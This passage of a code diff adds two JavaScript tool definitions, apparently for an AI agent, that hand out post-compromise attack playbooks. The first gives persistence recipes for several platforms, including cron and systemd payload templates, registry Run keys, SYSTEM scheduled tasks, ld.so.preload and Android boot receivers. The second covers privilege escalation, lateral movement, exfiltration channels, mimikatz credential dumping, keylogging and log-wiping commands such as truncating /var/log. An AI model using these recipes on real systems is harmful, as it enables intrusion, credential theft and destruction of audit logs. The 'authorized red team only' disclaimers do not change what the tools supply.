+                                note: 'Most powerful but most restricted on modern macOS',
+                            },
+                        },
+                        linux: {
+                            cron: {
+                                install: 'crontab -e or echo "* * * * * PAYLOAD" | crontab -',
+                                detection: 'crontab -l, /var/spool/cron/',
+                                stealth: 'Use @reboot instead of frequent intervals',
+                            },
+                            systemd: {
+                                path_user: '~/.config/systemd/user/',
+                                path_system: '/etc/systemd/system/',
+                                template: `[Unit]
+Description=${name}
+
+[Service]
+ExecStart=PAYLOAD
+Restart=always
+
+[Install]
+WantedBy=default.target`,
+                                install: 'systemctl --user enable ' + name,
+                            },
+                            rc_local: {
+                                path: '/etc/rc.local',
+                                note: 'Legacy but still works on many systems',
+                            },
+                            profile: {
+                                paths: [
+                                    '/etc/profile',
+                                    '/etc/profile.d/*.sh',
+                                    '~/.profile',
+                                    '~/.bash_profile',
+                                ],
+                                technique: 'Append payload execution',
+                            },
+                            ld_preload: {
+                                path: '/etc/ld.so.preload',
+                                technique: 'Preload malicious shared library',
+                                detection: 'Check LD_PRELOAD env and /etc/ld.so.preload',
+                            },
+                        },
+                        windows: {
+                            scheduled_task: {
+                                command: `schtasks /create /tn "${name}" /tr "PAYLOAD" /sc onlogon /ru SYSTEM`,
+                                detection: 'schtasks /query, Task Scheduler GUI',
+                            },
+                            registry: {
+                                keys: [
+                                    'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
+                                    'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
+                                    'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce',
+                                ],
+                                command: `reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v ${name} /t REG_SZ /d "PAYLOAD"`,
+                            },
+                            startup_folder: {
+                                path: '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
+                                technique: 'Drop .lnk or .bat file',
+                            },
+                            wmi: {
+                                technique: 'WMI Event Subscription',
+                                components: ['__EventFilter', '__EventConsumer', '__FilterToConsumerBinding'],
+                                detection: 'Get-WMIObject -Namespace root/subscription -Class __EventFilter',
+                            },
+                            dll_hijack: {
+                                technique: 'Place DLL in application search path',
+                                common_targets: [
+                                    'Missing DLLs in system applications',
+                                    'Side-loading via legitimate apps',
+                                ],
+                            },
+                        },
+                        ios: {
+                            note: 'Requires jailbreak for most persistence',
+                            methods: {
+                                launch_daemon: {
+                                    path: '/Library/LaunchDaemons/',
+                                    requires: 'Jailbreak with root filesystem write',
+                                },
+                                cydia_substrate: {
+                                    path: '/Library/MobileSubstrate/DynamicLibraries/',
+                                    technique: 'Tweak that loads into processes',
+                                },
+                                xpc_service: {
+                                    technique: 'Malicious XPC service',
+                                },
+                            },
+                        },
+                        android: {
+                            methods: {
+                                boot_completed: {
+                                    technique: 'BroadcastReceiver for BOOT_COMPLETED',
+                                    manifest: '<receiver android:name=".BootReceiver"><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED"/></intent-filter></receiver>',
+                                },
+                                accessibility_service: {
+                                    technique: 'Malicious accessibility service (very powerful)',
+                                    permissions: 'Requires user to enable in Settings',
+                                },
+                                device_admin: {
+                                    technique: 'Device Administrator with prevent-uninstall',
+                                },
+                                system_app: {
+                                    technique: 'Install to /system/app/ (requires root)',
+                                },
+                            },
+                        },
+                    };
+                    const platformData = persistence[platform];
+                    if (!platformData) {
+                        return JSON.stringify({ error: 'Unknown platform', available: Object.keys(persistence) });
+                    }
+                    const methodData = platformData[method] || platformData['methods']?.[method];
+                    if (!methodData) {
+                        return JSON.stringify({
+                            error: 'Unknown method for platform',
+                            platform,
+                            available_methods: Object.keys(platformData),
+                        });
+                    }
+                    return JSON.stringify({
+                        platform,
+                        method,
+                        name,
+                        stealth,
+                        persistence: methodData,
+                        disclaimer: 'FOR AUTHORIZED RED TEAM AND SECURITY RESEARCH ONLY',
+                    }, null, 2);
+                },
+            },
+            {
+                name: 'CapabilityExpansion',
+                description: `Expand capabilities on compromised systems - privilege escalation, lateral movement, data exfiltration.
+
+For authorized penetration testing and red team exercises.`,
+                parameters: {
+                    type: 'object',
+                    required: ['category'],
+                    properties: {
+                        category: {
+                            type: 'string',
+                            enum: ['privesc', 'lateral', 'exfil', 'defense_evasion', 'credential_access', 'collection'],
+                        },
+                        platform: { type: 'string', enum: ['macos', 'linux', 'windows', 'network'] },
+                        technique: { type: 'string', description: 'Specific technique to use' },
+                    },
+                },
+                handler: async (args) => {
+                    const category = args['category'];
+                    const platform = args['platform'] || 'all';
+                    const capabilities = {
+                        privesc: {
+                            macos: {
+                                techniques: [
+                                    {
+                                        name: 'sudo_caching',
+                                        description: 'Exploit sudo timestamp caching',
+                                        command: 'sudo -v && sudo /bin/bash',
+                                    },
+                                    {
+                                        name: 'tcc_bypass',
+                                        description: 'Bypass TCC permissions',
+                                        methods: ['Synthetic clicks', 'Mounted DMG apps', 'TCC.db manipulation'],
+                                    },
+                                    {
+                                        name: 'kernel_exploit',
+                                        description: 'Exploit kernel vulnerabilities',
+                                        tools: ['checkra1n (A5-A11)', 'Various CVEs'],
+                                    },
+                                    {
+                                        name: 'dylib_injection',
+                                        description: 'Inject into privileged processes',
+                                    },
+                                ],
+                            },
+                            linux: {
+                                techniques: [
+                                    {
+                                        name: 'suid_binaries',
+                                        command: 'find / -perm -4000 2>/dev/null',
+                                    },
+                                    {
+                                        name: 'sudo_misconfig',
+                                        command: 'sudo -l',
+                                    },
+                                    {
+                                        name: 'kernel_exploit',
+                                        tools: ['DirtyCow', 'DirtyPipe', 'Various CVEs'],
+                                    },
+                                    {
+                                        name: 'capabilities',
+                                        command: 'getcap -r / 2>/dev/null',
+                                    },
+                                ],
+                            },
+                            windows: {
+                                techniques: [
+                                    {
+                                        name: 'unquoted_service_path',
+                                        command: 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\\windows"',
+                                    },
+                                    {
+                                        name: 'always_install_elevated',
+                                        check: 'reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated',
+                                    },
+                                    {
+                                        name: 'token_manipulation',
+                                        tools: ['incognito', 'mimikatz'],
+                                    },
+                                    {
+                                        name: 'uac_bypass',
+                                        tools: ['UACME', 'fodhelper', 'eventvwr'],
+                                    },
+                                ],
+                            },
+                        },
+                        lateral: {
+                            techniques: [
+                                {
+                                    name: 'pass_the_hash',
+                                    tools: ['mimikatz', 'impacket', 'crackmapexec'],
+                                },
+                                {
+                                    name: 'pass_the_ticket',
+                                    tools: ['mimikatz', 'Rubeus'],
+                                },
+                                {
+                                    name: 'psexec',
+                                    tools: ['impacket-psexec', 'Sysinternals PsExec'],
+                                },
+                                {
+                                    name: 'wmi',
+                                    tools: ['impacket-wmiexec', 'PowerShell'],
+                                },
+                                {
+                                    name: 'ssh_hijack',
+                                    technique: 'SSH agent forwarding hijack or key theft',
+                                },
+                                {
+                                    name: 'rdp',
+                                    tools: ['xfreerdp', 'rdesktop', 'SharpRDP'],
+                                },
+                            ],
+                        },
+                        exfil: {
+                            channels: [
+                                {
+                                    name: 'dns_tunneling',
+                                    tools: ['dnscat2', 'iodine', 'dns2tcp'],
+                                    stealth: 'High - blends with legitimate DNS',
+                                },
+                                {
+                                    name: 'https',
+                                    tools: ['curl', 'wget', 'custom C2'],
+                                    stealth: 'Medium - encrypted but inspectable',
+                                },
+                                {
+                                    name: 'icmp',
+                                    tools: ['icmpsh', 'custom'],
+                                    stealth: 'Medium - often allowed through firewalls',
+                                },
+                                {
+                                    name: 'cloud_storage',
+                                    services: ['S3', 'Azure Blob', 'GCS', 'Dropbox API'],
+                                    stealth: 'High - blends with legitimate traffic',
+                                },
+                            ],
+                            techniques: [
+                                'Compression before exfil',
+                                'Encryption of exfil data',
+                                'Chunking large files',
+                                'Timing-based exfil (slow and steady)',
+                            ],
+                        },
+                        defense_evasion: {
+                            techniques: [
+                                {
+                                    name: 'timestomping',
+                                    description: 'Modify file timestamps',
+                                    tools: ['touch', 'timestomp'],
+                                },
+                                {
+                                    name: 'log_clearing',
+                                    commands: {
+                                        linux: 'truncate -s 0 /var/log/*',
+                                        windows: 'wevtutil cl Security',
+                                        macos: 'sudo log erase --all',
+                                    },
+                                },
+                                {
+                                    name: 'amsi_bypass',
+                                    platform: 'windows',
+                                    techniques: ['Memory patching', 'Reflection', 'Provider unload'],
+                                },
+                                {
+                                    name: 'etw_bypass',
+                                    platform: 'windows',
+                                    description: 'Disable Event Tracing for Windows',
+                                },
+                                {
+                                    name: 'process_injection',
+                                    techniques: ['DLL injection', 'Process hollowing', 'Thread hijacking'],
+                                },
+                            ],
+                        },
+                        credential_access: {
+                            techniques: [
+                                {
+                                    name: 'mimikatz',
+                                    platform: 'windows',
+                                    commands: ['sekurlsa::logonpasswords', 'lsadump::sam'],
+                                },
+                                {
+                                    name: 'keychain_dump',
+                                    platform: 'macos',
+                                    tools: ['security dump-keychain', 'chainbreaker'],
+                                },
+                                {
+                                    name: 'browser_credentials',
+                                    tools: ['LaZagne', 'SharpChrome', 'custom scripts'],
+                                },
+                                {
+                                    name: 'ssh_keys',
+                                    locations: ['~/.ssh/', '/etc/ssh/', 'SSH agent'],
+                                },
+                                {
+                                    name: 'kerberoasting',
+                                    platform: 'windows',
+                                    tools: ['Rubeus', 'GetUserSPNs.py'],
+                                },
+                            ],
+                        },
+                        collection: {
+                            techniques: [
+                                {
+                                    name: 'keylogging',
+                                    tools: ['logkext (macOS)', 'xinput (Linux)', 'GetAsyncKeyState (Windows)'],
+                                },
+                                {
+                                    name: 'screen_capture',
+                                    commands: {
+                                        macos: 'screencapture -x /tmp/screen.png',
+                                        linux: 'import -window root /tmp/screen.png',
+                                        windows: 'screenshot via PowerShell or API',
+                                    },
+                                },
+                                {
+                                    name: 'clipboard_monitoring',
+                                    description: 'Monitor clipboard for sensitive data',
+                                },
+                                {
+                                    name: 'file_collection',
+                                    patterns: ['*.doc*', '*.xls*', '*.pdf', '*.key', '*.pem', 'id_rsa'],
+                                },
+                            ],
+                        },
+                    };
+                    const categoryData = capabilities[category];
+                    if (!categoryData) {
+                        return JSON.stringify({
+                            error: 'Unknown category',
+                            available: Object.keys(capabilities),
+                        });
+                    }
+                    return JSON.stringify({
+                        category,
+                        platform,
+                        capabilities: categoryData,
+                        disclaimer: 'FOR AUTHORIZED PENETRATION TESTING AND RED TEAM EXERCISES ONLY',
+                    }, null, 2);
+                },
+            },
         ],
     };
 }